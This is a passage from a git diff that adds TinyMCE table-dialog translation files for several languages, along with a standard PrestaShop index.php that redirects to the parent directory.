Umum","advanced_tab":"Advanced","general_tab":"Umum","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/index.php b/js/tiny_mce/plugins/table/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/table/langs/it_dlg.js b/js/tiny_mce/plugins/table/langs/it_dlg.js new file mode 100755 index 0000000..2a847ed --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.table_dlg',{"rules_border":"bordo","rules_box":"box","rules_vsides":"lato vert.","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"lato orizz.","rules_below":"sotto","rules_above":"sopra","rules_void":"vuoto",rules:"Regole","frame_all":"tutte","frame_cols":"colonne","frame_rows":"righe","frame_groups":"gruppi","frame_none":"nessuna",frame:"Cornice",caption:"Didascalia tabella","missing_scope":"Sicuro di proseguire senza aver specificato uno scope per l\'intestazione di questa tabella? Senza di esso, potrebbe essere difficoltoso per alcuni utenti con disabilit\u00e0 capire il contenuto o i dati mostrati nella tabella.","cell_limit":"Superato il numero massimo di celle di {$cells}.","row_limit":"Superato il numero massimo di righe di {$rows}.","col_limit":"Superato il numero massimo di colonne di {$cols}.",colgroup:"Gruppo colonna",rowgroup:"Gruppo riga",scope:"Scope",tfoot:"Pedice tabella",tbody:"Corpo tabella",thead:"Intestazione tabella","row_all":"Update tutte le righe della tabella","row_even":"Aggiorna righe pari della tabella","row_odd":"Aggiorna righe dispari della tabella","row_row":"Aggiorna riga corrente","cell_all":"Aggiorna tutte le celle della tabella","cell_row":"Aggiorna tutte le celle della riga","cell_cell":"Aggiorna cella corrente",th:"Intestazione",td:"Data",summary:"Sommario",bgimage:"Immagine sfondo",rtl:"Destra verso sinistra",ltr:"Sinistra verso destra",mime:"Tipo MIME del target",langcode:"Lingua",langdir:"Direzione testo",style:"Stile",id:"Id","merge_cells_title":"Unisci celle",bgcolor:"Colore sfondo",bordercolor:"Colore bordo","align_bottom":"In basso","align_top":"In alto",valign:"Allineamento verticale","cell_type":"Tipo cella","cell_title":"Propriet\u00e0 cella","row_title":"Propriet\u00e0 riga","align_middle":"Centra","align_right":"A destra","align_left":"A sinistra","align_default":"Predefinito",align:"Allineamento",border:"Bordo",cellpadding:"Padding celle",cellspacing:"Spaziatura celle",rows:"Righe",cols:"Colonne",height:"Altezza",width:"Larghezza",title:"Inserisci/Modifica tabella",rowtype:"Riga in una parte di tabella","advanced_props":"Propriet\u00e0 avanzate","general_props":"Propriet\u00e0 generali","advanced_tab":"Avanzate","general_tab":"Generale","cell_col":"Aggiorna tutte le celle della colonna"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/ja_dlg.js b/js/tiny_mce/plugins/table/langs/ja_dlg.js new file mode 100755 index 0000000..7f7013f --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.table_dlg',{"rules_border":"\u67a0\u7dda(\u4e0a\u4e0b\u5de6\u53f3)","rules_box":"\u30dc\u30c3\u30af\u30b9(\u4e0a\u4e0b\u5de6\u53f3)","rules_vsides":"\u5de6\u53f3\u306e\u7e26\u7dda","rules_rhs":"\u53f3\u306e\u7e26\u7dda","rules_lhs":"\u5de6\u306e\u7e26\u7dda","rules_hsides":"\u4e0a\u4e0b\u306e\u6a2a\u7dda","rules_below":"\u4e0b\u306e\u6a2a\u7dda","rules_above":"\u4e0a\u306e\u6a2a\u7dda","rules_void":"\u306a\u3057",rules:"\u8868\u306e\u5916\u67a0","frame_all":"\u3059\u3079\u3066","frame_cols":"\u5217","frame_rows":"\u884c","frame_groups":"\u30b0\u30eb\u30fc\u30d7\u6bce","frame_none":"\u306a\u3057",frame:"\u30bb\u30eb\u306e\u67a0",caption:"\u8868\u306e\u898b\u51fa\u3057","missing_scope":"\u3053\u306e\u8868\u306e\u30d8\u30c3\u30c0\u30fc\u306e\u30bb\u30eb\u306e\u7bc4\u56f2\u3092\u8a2d\u5b9a\u3057\u306a\u3044\u3067\u672c\u5f53\u306b\u7d9a\u3051\u307e\u3059\u304b? \u3053\u306e\u307e\u307e\u3067\u306f\u76ee\u306e\u4e0d\u81ea\u7531\u306a\u65b9\u304c\u8868\u306e\u5185\u5bb9\u3084\u8868\u793a\u3055\u308c\u308b\u30c7\u30fc\u30bf\u3092\u7406\u89e3\u3059\u308b\u306e\u304c\u56f0\u96e3\u306b\u306a\u308b\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002","cell_limit":"\u30bb\u30eb\u306e\u6700\u5927\u6570\u306e${cells}\u3092\u8d85\u3048\u307e\u3057\u305f\u3002","row_limit":"\u884c\u306e\u6700\u5927\u6570\u306e${rows}\u3092\u8d85\u3048\u307e\u3057\u305f\u3002","col_limit":"\u5217\u306e\u6700\u5927\u6570\u306e${cols}\u3092\u8d85\u3048\u307e\u3057\u305f\u3002",colgroup:"\u5217\u30b0\u30eb\u30fc\u30d7",rowgroup:"\u884c\u30b0\u30eb\u30fc\u30d7",scope:"\u30b9\u30b3\u30fc\u30d7",tfoot:"\u8868\u306e\u30d5\u30c3\u30bf\u30fc",tbody:"\u8868\u306e\u30dc\u30c7\u30a3",thead:"\u8868\u306e\u30d8\u30c3\u30c0\u30fc","row_all":"\u3059\u3079\u3066\u306e\u884c\u3092\u66f4\u65b0","row_even":"\u5076\u6570\u884c\u3092\u66f4\u65b0","row_odd":"\u5947\u6570\u884c\u3092\u66f4\u65b0","row_row":"\u9078\u629e\u3057\u3066\u3044\u308b\u884c\u3092\u66f4\u65b0","cell_all":"\u3059\u3079\u3066\u306e\u30bb\u30eb\u3092\u66f4\u65b0","cell_row":"\u884c\u5185\u306e\u30bb\u30eb\u3092\u66f4\u65b0","cell_cell":"\u9078\u629e\u3057\u3066\u3044\u308b\u30bb\u30eb\u3092\u66f4\u65b0",th:"\u30d8\u30c3\u30c0\u30fc",td:"\u30c7\u30fc\u30bf",summary:"\u30b5\u30de\u30ea\u30fc",bgimage:"\u80cc\u666f\u306e\u753b\u50cf",rtl:"\u53f3\u304b\u3089\u5de6",ltr:"\u5de6\u304b\u3089\u53f3",mime:"\u30bf\u30fc\u30b2\u30c3\u30c8\u306eMIME\u30bf\u30a4\u30d7",langcode:"\u8a00\u8a9e\u30b3\u30fc\u30c9",langdir:"\u6587\u7ae0\u306e\u65b9\u5411",style:"\u30b9\u30bf\u30a4\u30eb",id:"ID","merge_cells_title":"\u30bb\u30eb\u3092\u7d50\u5408",bgcolor:"\u80cc\u666f\u306e\u8272",bordercolor:"\u67a0\u7dda\u306e\u8272","align_bottom":"\u4e0b\u63c3\u3048","align_top":"\u4e0a\u63c3\u3048",valign:"\u5782\u76f4\u65b9\u5411\u306e\u914d\u7f6e","cell_type":"\u30bb\u30eb\u306e\u7a2e\u985e","cell_title":"\u30bb\u30eb\u306e\u5c5e\u6027","row_title":"\u884c\u306e\u5c5e\u6027","align_middle":"\u4e2d\u592e\u63c3\u3048","align_right":"\u53f3\u63c3\u3048","align_left":"\u5de6\u63c3\u3048","align_default":"\u521d\u671f\u72b6\u614b",align:"\u914d\u7f6e",border:"\u67a0\u7dda",cellpadding:"\u30bb\u30eb\u306e\u30d1\u30c7\u30a3\u30f3\u30b0(cellpadding)",cellspacing:"\u30bb\u30eb\u306e\u9593\u9694(cellspacing)",rows:"\u884c",cols:"\u5217",height:"\u9ad8\u3055",width:"\u5e45",title:"\u8868\u306e\u633f\u5165/\u7de8\u96c6",rowtype:"\u884c","advanced_props":"\u9ad8\u5ea6\u306a\u5c5e\u6027","general_props":"\u4e00\u822c\u7684\u306a\u5c5e\u6027","advanced_tab":"\u9ad8\u5ea6","general_tab":"\u4e00\u822c","cell_col":"\u3059\u3079\u3066\u306e\u30bb\u30eb\u3092\u66f4\u65b0"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/ka_dlg.js b/js/tiny_mce/plugins/table/langs/ka_dlg.js new file mode 100755 index 0000000..ff8b1be --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.table_dlg',{"rules_border":"\u10e1\u10d0\u10d6\u10e6\u10d5\u10d0\u10e0\u10d8","rules_box":"\u10d9\u10dd\u10da\u10dd\u10e4\u10d8","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"wesebi","frame_all":"\u10e7\u10d5\u10d4\u10da\u10d0","frame_cols":"\u10e1\u10d5\u10d4\u10e2\u10d4\u10d1\u10d8","frame_rows":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8","frame_groups":"\u10ef\u10d2\u10e3\u10e4\u10d4\u10d1\u10d8","frame_none":"none",frame:"\u10d9\u10d0\u10d3\u10e0\u10d8",caption:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","missing_scope":"\u10d7\u10e3 \u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 \u10d0\u10e0 \u10d8\u10e5\u10dc\u10d4\u10d1\u10d0 \u10db\u10d8\u10d7\u10d8\u10d7\u10d4\u10d1\u10e3\u10da\u10d8, \u10e8\u10d4\u10d8\u10eb\u10da\u10d4\u10d1\u10d0 \u10e7\u10d5\u10d4\u10da\u10d0\u10db \u10d5\u10d4\u10e0 \u10dc\u10d0\u10ee\u10dd\u10e1 \u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d0.","cell_limit":"\u10db\u10d8\u10e6\u10ec\u10d4\u10e3\u10da\u10d8\u10d0 \u10db\u10d0\u10e5\u10e1\u10d8\u10db\u10d0\u10da\u10e3\u10e0\u10d8 \u10d6\u10e6\u10d5\u10d0\u10e0\u10d8, $ \u10e3\u10ef\u10e0\u10d0.","row_limit":"\u10db\u10d8\u10e6\u10ec\u10d4\u10e3\u10da\u10d8\u10d0 \u10db\u10d0\u10e5\u10e1\u10d8\u10db\u10d0\u10da\u10e3\u10e0\u10d8 \u10d6\u10e6\u10d5\u10d0\u10e0\u10d8, $ \u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8.","col_limit":"\u10db\u10d8\u10e6\u10ec\u10d4\u10e3\u10da\u10d8\u10d0 \u10db\u10d0\u10e5\u10e1\u10d8\u10db\u10d0\u10da\u10e3\u10e0\u10d8 \u10d6\u10e6\u10d5\u10d0\u10e0\u10d8, $ \u10e1\u10d5\u10d4\u10e2\u10d8.",colgroup:"\u10e1\u10d5\u10d4\u10e2\u10d4\u10d1\u10d8\u10e1 \u10ef\u10d2\u10e3\u10e4\u10d8",rowgroup:"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8\u10e1 \u10ef\u10d2\u10e3\u10e4\u10d8",scope:"\u10db\u10d8\u10d3\u10d0\u10db\u10dd",tfoot:"\u10d3\u10d0\u10e1\u10e0\u10e3\u10da\u10d4\u10d1\u10d0",tbody:"\u10e1\u10ee\u10d4\u10e3\u10da\u10d8",thead:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","row_all":"\u10ea\u10ee\u10e0\u10d8\u10da\u10e1\u10d8 \u10e7\u10d5\u10d4\u10da\u10d0 \u10e3\u10ef\u10e0\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","row_even":"\u10ea\u10ee\u10e0\u10d8\u10da\u10e8\u10d8 \u10da\u10e3\u10ec\u10d8\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","row_odd":"\u10ea\u10ee\u10e0\u10e3\u10da\u10e1\u10d8 \u10d9\u10d4\u10dc\u10e2\u10d8 \u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","row_row":"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da\u10d8 \u10e1\u10e2\u10d8\u10e0\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","cell_all":"\u10ea\u10ee\u10e0\u10d8\u10da\u10e1\u10d8 \u10e7\u10d5\u10d4\u10da\u10d0 \u10e3\u10ef\u10e0\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","cell_row":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10e8\u10d8 \u10e7\u10d5\u10d4\u10da\u10d0 \u10e3\u10ef\u10e0\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","cell_cell":"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da\u10d8 \u10e3\u10ef\u10e0\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0",th:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",td:"\u10db\u10dd\u10dc\u10d0\u10ea\u10d4\u10db\u10d4\u10d1\u10d8",summary:"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd",bgimage:"\u10e4\u10dd\u10dc\u10e3\u10e0\u10d8 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d1\u10d0",rtl:"\u10db\u10d0\u10e0\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",ltr:"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",mime:"MIME \u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10e2\u10d8\u10de\u10d8",langcode:"\u10d4\u10dc\u10d8\u10e1 \u10d9\u10dd\u10d3\u10d8",langdir:"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0",style:"\u10e1\u10e2\u10d8\u10da\u10d8",id:"\u10e1\u10d0\u10ee\u10d4\u10da\u10d8","merge_cells_title":"\u10e3\u10ef\u10e0\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10d4\u10e0\u10d7\u10d8\u10d0\u10dc\u10d4\u10d1\u10d0",bgcolor:"\u10e8\u10d4\u10d5\u10e1\u10d4\u10d1\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8",bordercolor:"\u10e1\u10d0\u10d6\u10e6\u10d5\u10e0\u10d4\u10d1\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","align_bottom":"\u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_top":"\u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4",valign:"\u10d5\u10d4\u10e0\u10e2\u10d8\u10d9\u10d0\u10da\u10e3\u10e0\u10d8 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0","cell_type":"\u10e2\u10d8\u10de\u10d8","cell_title":"\u10e3\u10ef\u10e0\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","row_title":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","align_middle":"\u10ea\u10d4\u10dc\u10e2\u10e0\u10d6\u10d4","align_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_default":"\u10e1\u10d0\u10ec\u10d8\u10e1\u10d0\u10d3",align:"\u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",border:"\u10e1\u10d0\u10d6\u10e6\u10d5\u10d0\u10e0\u10d8",cellpadding:"\u10e3\u10ef\u10e0\u10d4\u10d1\u10e1 \u10e8\u10dd\u10e0\u10d8\u10e1 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",cellspacing:"\u10e3\u10ef\u10e0\u10d4\u10d1\u10e1 \u10e8\u10dd\u10e0\u10d8\u10e1 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",rows:"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8",cols:"\u10e1\u10d5\u10d4\u10e2\u10d4\u10d1\u10d8",height:"\u10e1\u10d8\u10db\u10d0\u10e6\u10da\u10d4",width:"\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4",title:"\u10ea\u10ee\u10e0\u10d8\u10da\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",rowtype:"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10e0\u10d8\u10de\u10d8","advanced_props":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\u10d8 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","general_props":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","advanced_tab":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7","general_tab":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/ko_dlg.js b/js/tiny_mce/plugins/table/langs/ko_dlg.js new file mode 100755 index 0000000..c5a1ff2 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"\uc88c\uc6b0\ubc94\uc704\ub9cc","rules_rhs":"\uc6b0\uce21 \ubc94\uc704\ub9cc","rules_lhs":"\uc88c\uce21 \ubc94\uc704\ub9cc","rules_hsides":"\uc0c1\ud558\ubc94\uc704\ub9cc","rules_below":"\uc544\ub798","rules_above":"\uc704","rules_void":"Void",rules:"Rules","frame_all":"\ubaa8\ub450","frame_cols":"\uc5f4","frame_rows":"\ud589","frame_groups":"\uadf8\ub8f9","frame_none":"\uc5c6\uc74c",frame:"Frame",caption:"\ud45c\uc81c","missing_scope":"\uc774 \ud45c \ud5e4\ub354\uc140\uc5d0 scope\uc18d\uc131\uc744 \uc9c0\uc815\ud558\uc9c0\uc54a\uc544\ub3c4 \uad1c\ucc2e\uc2b5\ub2c8\uae4c? \uc9c0\uc815\ud558\uc9c0 \uc54a\ub294 \uacbd\uc6b0, \uc2dc\uac04\uc801\uc73c\ub85c \ud14c\uc774\ube14\uc758 \uad6c\uc870\ub97c \ud30c\uc545\ud558\ub294 \uac83\uc774 \uc5b4\ub824\uc6b4 \ubd84\uc758 \uc811\uadfc\uc131\uc774 \uc800\ud558\ud569\ub2c8\ub2e4.","cell_limit":"\uc140\uc218\uc758 \uc0c1\ud55c{$cells}\ub97c \ub118\uc5c8\uc2b5\ub2c8\ub2e4.","row_limit":"\ud589\uc218\uc758 \uc0c1\ud55c{$rows}\ub97c \ub118\uc5c8\uc2b5\ub2c8\ub2e4.","col_limit":"\ub82c\uc218\uc758 \uc0c1\ud55c{$cols}\ub97c \ub118\uc5c8\uc2b5\ub2c8\ub2e4.",colgroup:"\uc5f4\uadf8\ub8f9",rowgroup:"\ud589\uadf8\ub8f9",scope:"Scope",tfoot:"\ud14c\uc774\ube14 \ud48b\ud130",tbody:"Table Body",thead:"Table Head","row_all":"\uc804\ud589\uc744 \uac31\uc2e0","row_even":"\uc9dd\uc218\ud589\uc744 \uac31\uc2e0","row_odd":"\ud640\uc218\ud589\uc744 \uac31\uc2e0","row_row":"\ud604\uc7ac\uc758 \ud589\uc744 \uac31\uc2e0","cell_all":"\ud14c\uc774\ube14\uc758 \ubaa8\ub4e0 \uc140\uc744 \uac31\uc2e0","cell_row":"\ud589\uc758 \uc804\uc140\uc744 \uac31\uc2e0","cell_cell":"\ud604\uc7ac\uc758 \uc140\uc744 \uac31\uc2e0",th:"Header",td:"Data",summary:"\uc694\uc57d",bgimage:"\ubc30\uacbd \uc774\ubbf8\uc9c0",rtl:"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd",ltr:"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd",mime:"Target MIME \ud0c0\uc785",langcode:"\uc5b8\uc5b4 \ucf54\ub4dc",langdir:"\ubb38\uc790 \ubc29\ud5a5",style:"\uc2a4\ud0c0\uc77c",id:"Id","merge_cells_title":"\uc140 \uacb0\ud569",bgcolor:"\ubc30\uacbd\uc0c9",bordercolor:"\ud14c\ub450\ub9ac\uc120\uc0c9","align_bottom":"\ud558","align_top":"\uc0c1",valign:"\uc218\uc9c1 \uc704\uce58","cell_type":"\uc140 \uc885\ub958","cell_title":"\uc140 \uc124\uc815","row_title":"\ud589 \uc124\uc815","align_middle":"\uac00\uc6b4\ub370 \ub9de\ucda4","align_right":"\uc624\ub978\ucabd \ub9de\ucda4","align_left":"\uc67c\ucabd \ub9de\ucda4","align_default":"\uae30\ubcf8\uac12",align:"\uc815\ub82c",border:"\ud14c\ub450\ub9ac\uc120",cellpadding:"\uc140\ub0b4 \uc5ec\ubc31",cellspacing:"\uc140 \uac04\uaca9",rows:"\ud589",cols:"\ub82c",height:"\ub192\uc774",width:"\ud3ed",title:"\ud14c\uc774\ube14\uc758 \uc0bd\uc785/\ud3b8\uc9d1",rowtype:"\ud589","advanced_props":"\uace0\uae09 \uc124\uc815","general_props":"\uc77c\ubc18 \uc124\uc815","advanced_tab":"\uace0\uae09","general_tab":"\uc77c\ubc18","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/lt_dlg.js b/js/tiny_mce/plugins/table/langs/lt_dlg.js new file mode 100755 index 0000000..754fd7d --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.table_dlg',{"rules_border":"r\u0117melis","rules_box":"d\u0117\u017eut\u0117","rules_vsides":"vert. pus\u0117s","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hor. pus\u0117s","rules_below":"apatinis","rules_above":"vir\u0161utinis","rules_void":"negaliojantis",rules:"Taisykl\u0117s","frame_all":"visi","frame_cols":"stulpeliai","frame_rows":"eilut\u0117s","frame_groups":"grup\u0117s","frame_none":"joks",frame:"R\u0117melis",caption:"Lentel\u0117s antra\u0161t\u0117","missing_scope":"Ar norite t\u0119sti nenurod\u0119 galiojimo srities \u0161iam lentel\u0117s vir\u0161utiniam langeliui. Be nurodymo, kai kuriems naudotojams su negalia gali b\u016bti sunku suprasti lentel\u0117je atvaizduojam\u0173 duomen\u0173 turin\u012f.","cell_limit":"Vir\u0161ijote did\u017eiausi\u0105 ({$cells}) langeli\u0173 kiek\u012f.","row_limit":"Vir\u0161ijote did\u017eiausi\u0105 ({$rows}) eilu\u010di\u0173 kiek\u012f.","col_limit":"Vir\u0161ijote did\u017eiausi\u0105 ({$cols}) stulpeli\u0173 kiek\u012f.",colgroup:"Stulpeli\u0173 grup\u0117",rowgroup:"Eilu\u010di\u0173 grup\u0117",scope:"Galiojimo sritis",tfoot:"Lentel\u0117s apa\u010dia",tbody:"Lentel\u0117s vidus",thead:"Lentel\u0117s vir\u0161us","row_all":"Atnaujinti visas lentel\u0117s eilutes","row_even":"Atnaujinti lygines lentel\u0117s eilutes","row_odd":"Atnaujinti nelygines lentel\u0117s eilutes","row_row":"Atnaujinti dabartin\u0119 eilut\u0119","cell_all":"Atnaujinti visus lentel\u0117s langelius","cell_row":"Atnaujinti visus eilut\u0117s langelius","cell_cell":"Atnaujinti dabartin\u012f langel\u012f",th:"Antra\u0161t\u0117",td:"Duomenys",summary:"Apibendrinimas",bgimage:"Fono paveiksl\u0117lis",rtl:"I\u0161 de\u0161in\u0117s \u012f kair\u0119",ltr:"I\u0161 kair\u0117s \u012f de\u0161in\u0119",mime:"Paskirties MIME tipas",langcode:"Kalbos kodas",langdir:"Kalbos kryptis",style:"Stilius",id:"Id","merge_cells_title":"Sujungti lentel\u0117s langelius",bgcolor:"Fono spalva",bordercolor:"R\u0117melio spalva","align_bottom":"Apa\u010dioje","align_top":"Vir\u0161uje",valign:"Vertikalus lygiavimas","cell_type":"Langelio tipas","cell_title":"Lentel\u0117s langeli\u0173 nustatymai","row_title":"Lentel\u0117s eilut\u0117s nustatymai","align_middle":"Centruoti","align_right":"Lygiuoti de\u0161in\u0117je","align_left":"Lygiuoti kair\u0117je","align_default":"Standartinis",align:"Lygiavimas",border:"R\u0117melis",cellpadding:"Tarpas langelio viduje",cellspacing:"Tarpas tarp langeli\u0173",rows:"Eilut\u0117s",cols:"Stulpeliai",height:"Auk\u0161tis",width:"Ilgis",title:"\u012eterpti/modifikuoti lentel\u0119",rowtype:"Eilut\u0117 lentel\u0117s dalyje","advanced_props":"I\u0161pl\u0117stiniai nustatymai","general_props":"Bendri nustatymai","advanced_tab":"I\u0161pl\u0117sta","general_tab":"Bendra","cell_col":"Atnaujinti visus langelius stulpelyje"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/nl_dlg.js b/js/tiny_mce/plugins/table/langs/nl_dlg.js new file mode 100755 index 0000000..ebc25e7 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.table_dlg',{"rules_border":"Rand","rules_box":"Box","rules_vsides":"Verticale zijden","rules_rhs":"Rechterzijkant","rules_lhs":"Linkerzijkant","rules_hsides":"Horizontale zijden","rules_below":"Onder","rules_above":"Boven","rules_void":"Geen",rules:"Hulplijnen","frame_all":"Alles","frame_cols":"Kolommen","frame_rows":"Rijen","frame_groups":"Groepen","frame_none":"Geen",frame:"Frame",caption:"Tabelbeschrijving","missing_scope":"Weet u zeker dat u door wilt gaan met het toewijzen van een kop zonder een bereik op te geven? Mensen met een visuele handicap kunnen hierdoor waarschijnlijk slecht bij de gegevens.","cell_limit":"U heeft het maximale aantal cellen van {$cells} overschreden.","row_limit":"U heeft hebt het maximale aantal rijen van {$rows} overschreden.","col_limit":"U heeft het maximale aantal kolommen van {$cols} overschreden.",colgroup:"Kolomgroep",rowgroup:"Rijgroep",scope:"Bereik",tfoot:"Tabelvoet",tbody:"Tabellichaam",thead:"Tabelkop","row_all":"Alle rijen bijwerken","row_even":"Even rijen bijwerken","row_odd":"Oneven rijen bijwerken","row_row":"Huidige rij bijwerken","cell_all":"Alle cellen in tabel bijwerken","cell_row":"Alle cellen in rij bijwerken","cell_cell":"Huidige cel bijwerken",th:"Kop",td:"Gegevens",summary:"Samenvatting",bgimage:"Achtergrondafbeelding",rtl:"Van rechts naar links",ltr:"Van links naar rechts",mime:"Doel MIME type",langcode:"Taalcode",langdir:"Taalrichting",style:"Stijl",id:"Id","merge_cells_title":"Cellen samenvoegen",bgcolor:"Achtergrondkleur",bordercolor:"Randkleur","align_bottom":"Onder","align_top":"Boven",valign:"Verticale uitlijning","cell_type":"Celtype","cell_title":"Celeigenschappen","row_title":"Rij-eigenschappen","align_middle":"Centreren","align_right":"Rechts","align_left":"Links","align_default":"Standaard",align:"Uitlijning",border:"Rand",cellpadding:"Ruimte in cel",cellspacing:"Ruimte om cel",rows:"Rijen",cols:"Kolommen",height:"Hoogte",width:"Breedte",title:"Tabel invoegen/bewerken",rowtype:"Rijtype","advanced_props":"Geavanceerde eigenschappen","general_props":"Algemene eigenschappen","advanced_tab":"Geavanceerd","general_tab":"Algemeen","cell_col":"Alle cellen in de kolom bijwerken"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/no_dlg.js b/js/tiny_mce/plugins/table/langs/no_dlg.js new file mode 100755 index 0000000..26d1da7 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/no_dlg.js @@ -0,0 +1 @@ 